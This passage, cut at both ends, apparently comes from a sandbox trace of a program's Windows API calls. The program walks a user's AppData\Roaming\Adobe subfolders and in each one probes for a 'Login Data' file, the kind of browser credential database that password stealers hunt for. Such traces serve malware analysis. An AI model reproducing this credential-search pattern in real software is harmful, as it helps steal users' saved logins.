ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0199.422] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0199.422] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.422] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aff8 [0199.423] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.423] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636b588b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x636b588b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x636b588b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x16, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobData", cAlternateFileName="")) returned 1 [0199.423] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89495bf, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe89495bf, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobSettings", cAlternateFileName="GLOBSE~1")) returned 1 [0199.423] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89495bf, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe89495bf, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobSettings", cAlternateFileName="GLOBSE~1")) returned 0 [0199.423] FindClose (in: hFindFile=0x139aff8 | out: hFindFile=0x139aff8) returned 1 [0199.424] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.424] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0199.424] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.424] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c7194c4, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c78bbf1, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x1ebe, dwReserved0=0x0, dwReserved1=0x0, cFileName="addressbook.acrodata", cAlternateFileName="ADDRES~1.ACR")) returned 1 [0199.425] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 1 [0199.425] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 0 [0199.425] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0199.425] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.425] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b2b8 [0199.426] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.426] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfcc0fc, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6349d5, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x0, dwReserved1=0x0, cFileName="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", cAlternateFileName="0FDED5~1.CRL")) returned 1 [0199.427] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfa5e97, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfa5e97, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6322b7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", cAlternateFileName="CE3388~1.CRL")) returned 1 [0199.427] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfa5e97, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfa5e97, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6322b7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", cAlternateFileName="CE3388~1.CRL")) returned 0 [0199.427] FindClose (in: hFindFile=0x139b2b8 | out: hFindFile=0x139b2b8) returned 1 [0199.427] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.427] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0199.428] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.428] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0199.428] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 1 [0199.428] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 0 [0199.428] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0199.429] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.429] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0199.430] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.430] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 1 [0199.430] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 0 [0199.430] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0199.431] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.431] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0199.431] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.432] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0199.433] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0199.433] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.433] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0199.433] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.434] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 1 [0199.434] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 0 [0199.434] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0199.435] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.435] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0199.435] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.435] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0199.435] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0199.436] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.436] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, 